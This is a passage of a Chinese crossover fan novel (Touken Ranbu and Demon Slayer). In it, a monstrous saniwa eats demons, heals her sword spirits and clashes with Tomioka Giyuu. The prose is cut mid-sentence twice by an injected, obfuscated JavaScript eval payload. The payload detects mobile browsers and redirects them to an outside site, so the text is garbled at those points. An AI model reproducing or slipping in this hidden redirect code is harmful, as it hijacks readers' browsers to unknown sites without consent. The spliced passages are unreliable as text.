也有人稍微清醒一些,看见我藏在阴影中的红色眼睛和尖牙利爪,满是惊吓地指着我们:“你、你是什么东西?你在对他做什么!” “有怪物、有怪物!有……” 话没说完,从黑发男人身上出现的触手将巷子里的所有人类贯穿,鲜血浇灌在他的触手上,正是因为有人类作为养料,男人的反抗有了力度,他皮肤上暴起青筋,和我厮打在一起。 一口气吃掉好几个人类的男人确实变得比刚刚强一些,水色的手掌与他的触手缠斗地难舍难分。 我和他在这几息之间打得火花带闪电,最后,他速度弱我一些,被我一拳捶进了地里。 在地面的巨坑中,长相昳丽的男人脸上沾了些许尘土,用不可置信中混合着愤恨的表情瞪着我,牙齿都因咬得太用力而嘎吱作响。 我咧嘴笑了笑,露出一颗尖尖的小虎牙:“这个副本的BOSS,就这点本事?” 他确实有点难打,也有点难杀,但他的招式太普通了,也没有丰富的战斗经验,只是单纯靠数值。 如果他能够再更精进自己的技艺,我说不定就打不过他了,可惜,我又有经验又有数值,对自己的能力能达到百分百开发,就这个BOSS,还无法站在和我同样的高度。 不过用来补身体是够了,吃掉他,说不定我的舌头就能自己长回来了。 我期待地舔舔嘴唇,一步一步走向他。 男人顿感不妙,好好的人形身体顿时四分五裂,我按住了其中几个小肉块,先尝了一口。 他的味道和那些普通鬼不一样,要更劲道,更甜美一些,里面蕴含着的力量被分散了,我获得的并不多。 ——但如果全部都吃掉的话,他给我的力量会很可观。 我眼中红光大盛,如同血液一般的红色水流自我脚下铺开,水流蔓延的速度比肉块逃跑的速度要快,整个小巷笼罩在血水中,散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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药研藤四郎的额头在流血,为了不让血流进眼睛里,他只能闭着左眼,用右眼冷静地看着她。 “我会对你耐心,但这也是有时限的。”女孩的指甲突然变得尖锐,弯腰捏住药研的下巴:“我数五秒,你要是还不愿意,我就得杀你了。” “五。” “四。” “三……” 这时。一只红色的手捏住女孩的腰,将她狠狠拽上半空中。 我站在药研身边,垂至脚踝的红色长发被不知道哪里来的风儿吹起,擦过药研的衣角。 我抬头看她,语气轻快:“你在玩什么倒数游戏呢?很好玩吗?” “你……”女孩一开口,腰上的手掌便缩紧一寸,她面色痛苦,一句话都说不出来了。 “我来接着你的数吧?”我朝她露出一个友善的笑容,说道:“三秒,我给你时间逃跑,逃得掉我就放过你,逃不掉我就吃掉你。” 没等她同意,我笑眯眯地松开了手掌,直接数:“三。” 女孩没有犹豫,几乎是在腰上力道变轻的同时,像一股风一样消失不见。 “二。” 周围安安静静的,只剩下了药研在我身后,呼吸有些沉重。 “一。” 话音刚落,我的红色手掌将女孩不知道从哪里捞回来,她又被我死死攥着,痛苦地喊道:“你不是说了会放过我吗!” “骗你的。”我笑容不变:“跑了也不放过你。” 红色掌心咧开一张嘴巴,它张得巨大,一口能吞掉她一半,女孩发出凄厉的惨叫,要我放过她,但只是两口,嘴巴就完全将她吞进去,甚至还打了个饱嗝。 丰盈的力量顿时从我的身体里涌现出来。 我惊喜地看着自己的手,笑得更开心了。 这个孩子不错,能给我补充这么多。 药研藤四郎此时实在是坚持不住,跪倒在地,轻声唤道:“审神者大人……” 我这才看向他,因为心情好,我并没计较他对我疏离态度,而是让海蝉爬进他的身体,修补他的伤口。 “要早点喊我呀。”我语气埋怨:“而且就只叫了两句,我差点没认出来是你在喊我呢。” 药研藤四郎低下头,轻声解释:“审神者大人要做的事情也有很多,在下怕打扰到……” 话还没说完,有一片刀光很突兀地闪了过去。 我微微侧目,红色的手掌握成拳,挡住自上而下砍过来的打刀。 这把刀的刀身泛着水色的冷光,正如刀的主人那双毫无波澜的水色眼眸。 我仔细瞧了瞧,居然是刚刚被风扇飞出去的人类少年。 那一下撞到腰可伤得不轻呢,现在还能悄悄搞偷袭…… 真有劲儿啊,这个人类。 26.两个副本 在看到富冈义勇持刀砍向审神者时,药研藤四郎毫不夸张地说,他的心脏像是被一只手捏了一下似的,整个人都僵住了。 在这0.1秒的时间里,药研脑袋里迅速做了一个决定——如果这两个人其中的某一个死了,他就切腹谢罪。 当然这个想法在审神者轻而易举接下富冈义勇的刀后就如同泡沫一样散开了,他感觉这个局面还能再抢救一下。 药研藤四郎立刻出声道:“审神者大人!请息怒,他是……” “放心吧,我对人类的血肉没兴趣。” 我一眼就看出他在担心什么,红色的水流变拳为掌,一把将黑发少年抓在手中,“我只是好奇……” 手掌缓缓下移,让他能与我对视,我眯起眼睛笑着问:“你对付那只鬼都很困难,居然还有这个胆子来砍我?怎么不跑?反正你也被吹到很远的地方去了,顺势逃跑不是更好?” 黑发少年面无表情地看着我,说:“你不是人。” 这句话说的没问题,就是不太好听。 药研藤四郎一边观察着审神者的表情,一边谨慎地帮富冈义勇缓和着氛围:“审神者大人,他不是那个意思。” “我知道。”我没在意,依旧笑眯眯的,继续问:“我不是人,所以你要攻击我。可我把欺负你的鬼吃了,你还这样,岂不是恩将仇报?” 他眉头微蹙:“益虫也是虫。” ……这句话说的没问题,但确实不太好听。 药研藤四郎有点头痛,他痛苦地开口:“审神者大人……他不是那个意思。” 我怜悯地摇摇头,手指捏住他脸颊的软肉:“人长得不错,脑子怎么不转弯。我能吃鬼,你就不考虑考虑和我合作?” 黑发少年眼里的警惕依旧明显,“我如果拒绝,你会如何?” 我露出一个很刻板的狞笑,故意吓他:“我会把你吃掉。” 黑发少年左眼写着“骗”,右眼写着“子”,防备这次直接写在脸上:“我是不会被你的谎言所欺骗的,即使是将我吃掉,我也不会引狼入室。” 药研藤四郎发誓自己是想让双方的交流变得更加和谐,想要让审神者对富冈义勇留下好印象,也想让富冈义勇信任审神者的。但不知道为什么,这两个人交流似乎并不需要他介入。 因为不管介不介入,两个人的交流都很通畅,而且内容越聊越差。到现在他们还没打起来,完全是靠着审神者的耐心。 ……没错,居然是靠着审神者的耐心。 如果换做是在本丸里,有人敢和她这么说话,她早就开始召唤海妖开始无差别攻击了。 所以这样一对比,审神者对富冈义勇的印象还不错,对吧? 她好像还挺喜欢富冈义勇的,对吧? 他目前就不用担心富冈义勇先一步在这里死在这里,对吧? 药研藤四郎不说话了,默不作声在一旁观察。 我则是留意了太阳上升的速度,回收了抓着富冈义勇的血色手掌,只是他刚能动没几秒,又悄悄去摸他那把打刀。 我当然注意到他的小动作,无奈地叹了口气,指尖一弹,留了一缕血色的水流将他捆起来,吊在远处的树上。 少年是沉稳的性格,他从被捆到被吊全程没发出任何无异议的惊呼,只是咬牙用力挣扎了好一会儿,牵扯到之前的旧伤后抽了一口冷气,自此安静下来,倒挂着,摇摆着,像是晃动的钟摆。 异化很快要结束,富冈义勇不会在那里挂很久,我看了药研一眼,见他身上的伤已经被海蝉修好,想着昨天在鹤丸那里待了一天,今天可要早点回游郭找三日月。 结果脚下的血色湖泊刚汇聚起来,药研即使将我拦下,单膝跪地,低头道:“审神者大人,还有一事。” 我:“嗯?” …… 药研找到了一期一振。 那是个青年模样的付丧神,身上有被撕咬过的痕迹,左手断口并不整齐,似乎是被谁一口咬断的。 吃掉他手臂的那只鬼就是他们后来追过去的那只能操纵风的女性鬼,而那只女性鬼一开始其实并没有这样强的力量,至少富冈义勇追着她去森林里的时候,他还是占上风的那一个。 说到这里,故事线已经有些混乱了,但药研的叙事重新帮我梳理了昨天发生的事情。 药研原本是一直隐藏在富冈义勇身边等待时间溯行军的。这次富冈义勇接到任务说附近的村庄出现了疑似鬼造成的血腥事件,在几天眠不休的搜查后,确实找到了那只操纵风的女性鬼。 富冈义勇一路追着那只鬼来到了森林里,药研则一直跟在他身边,没有插手历史的意思。 而到了森林里,药研很明显感觉到了一种不寻常的力量。 果然,伴随着一阵空间的扭曲,森林里出现了好几只时间溯行军。 他一边对抗时间溯行军一边留意富冈义勇那里的情况,结果就看到在森林深处的小径上躺着他家已经昏迷的兄长。 一期一振身边围着几把敌打刀,刀光寒冷,差一点就要无情地插入到一期一振的身体里。 那只风鬼需要人来增强力量,也不管敌打刀是什么东西,用风弄散了骨架,抓紧时间吃了一期一振的一只手。 就这几口下去,风鬼的力量成倍增长,在短短几秒钟的时间里已经进化到了连富冈义勇都打不过的程度。 因为有一期一振和时间溯行军的介入,药研也顾不得隐藏自己,暂时与富冈义勇达成了合作。 至此,事情经过已经说的很清楚了。 我的海蝉爬进一期一振的伤口中,也有十几只海蝉在勤劳地修补着一期一振那只断臂。 青年付丧神面容恬静,即使身上的粟田口同款军装破破烂烂的,也无法遮盖他英俊的容貌。 我伸手摸了摸他的脸,指尖一路向下,划过肩膀与腰部的咬痕,最后停在他的断臂上。 一期一振的伤比大和守安定要严重许多。上面不仅仅是刀伤,还有撕咬出来的伤口,不是新伤,是已经愈合的疤,可以见得他在这个副本中究竟受了多少苦。 听狐之助说,短刀在夜战中有着天然优势,而太刀、大太刀和薙刀在夜晚都会有一定程度的削弱,就目前来看,我已经捡回了一振打刀,一振太刀,上一任审神者…似乎和我一样不太听劝。 我尚且是有能力保护他们,所以选了自己信任的刀,那他呢? 视线触及到海蝉用力量新给他织出来的血肉,我打了个哈欠,没有继续深想。 反正人已经死了,再去揣测他的用意,实在有些浪费时间了。 直到太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401066|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳完全升起,我的发丝褪回蓝色,一期一振的手臂才勉强修好。 但要彻底修补神经,可能还要等我下次异化日才能完成。 耗费的力量太多,我实在是有些困顿,抬手揉了揉疲惫的眼睛,我在一期一振身边找了个舒服的位置,把自己蜷成一团,窝在了他胳膊下。 药研藤四郎亲眼看着审神者为他和一期哥忙了一晚上,这会儿也不敢打扰,只将自己的外披脱下来,盖在审神者身上。 又过了一会儿,富冈义勇从树上下来了。 他原本就被风鬼撞伤了腰,这会儿更是头晕眼花的站不稳,全靠打刀撑着才能移动。 富冈义勇是来查看情况的,那个红色的怪物身份诡异,如果是鬼的话会在阳光底下烟消云散,而这么短的时间内也许她跑不远,追一追也许还能留下她。 结果他顺着脚印找到药研,看见的却是一副家人团聚一般的温馨场景。 水色短发的青年安静躺在地上,阳光照亮五官,也照亮了他刻在骨子里散发出来的柔和。在他的身边,蜷缩着面容精致的女孩,水色的长发像是毯子一般压在身下,与草地的绿色相衬。 有蝴蝶翩翩停在她的肩头,又很快飞远。 唯一跪坐着的军装少年就守在他们身边,冷漠的眼睛此时盛满了温和,他小心翼翼地为女孩盖上外套,再轻轻牵住青年的手,带着十分明显的珍视。 听见富冈义勇的脚步声,药研扭头看去,那种融入亲情中的柔和消失不见,取而代之的是公事公办的疏离。 “富冈先生。” 药研藤四郎语气平静,用陈述的语气出声道:“主将已经睡下了,接下来,我想延续之前主将与你谈论的话题。” 富冈义勇脚步一顿,如死水般波澜未起的眼眸掀起了一丝波动。 他的目光落在蓝色长发披散着的女孩身上,看了好一会儿,他才忍着身体的疼痛跪坐下来,打刀平放在腿边。 “愿闻其详。” 此时,吉原游郭—— 三日月刚刚才结束了一晚上的工作。 这三天的情报收集收获颇丰,民间关于恶鬼和猎鬼人的传说很多,其中也有一些知道内幕的人类。 最大的收获还是在荻本屋遇见了一位叫做槙於的游女。 她身份特殊,眼力极好,一眼就看穿了三日月的男扮女装。 趁着白天大家都在休息时,直接不管不顾地冲过来动手,虽然行动隐秘,动作大胆,氮耐心超烂。 后来知道三日月也是因为任务才潜伏在游郭,槙於才收了手,坐下来心平气和地与三日月交谈了一番。 对三日月来说,要套槙於的话不难,得知鬼杀队的近况也不难。 只是……有一件事让他并不高兴。 披散着绀色长发的貌美青年坐在窗边,他的几缕发丝披散在榻榻米上,与华贵的布料纠缠在一起。 从窗外飘进来粉色的花瓣,落了几瓣在指骨分明的修长手指间。 他幽幽叹了口气,美人忧郁的模样让人见了就心碎。 三日月宗近在想,他的审神者到底被谁绊住了脚,连续两天都没回来看他。 青年付丧神的手指一松,樱粉色的花瓣轻飘飘地飞下楼去。 再不回来,他可要亲自去寻了。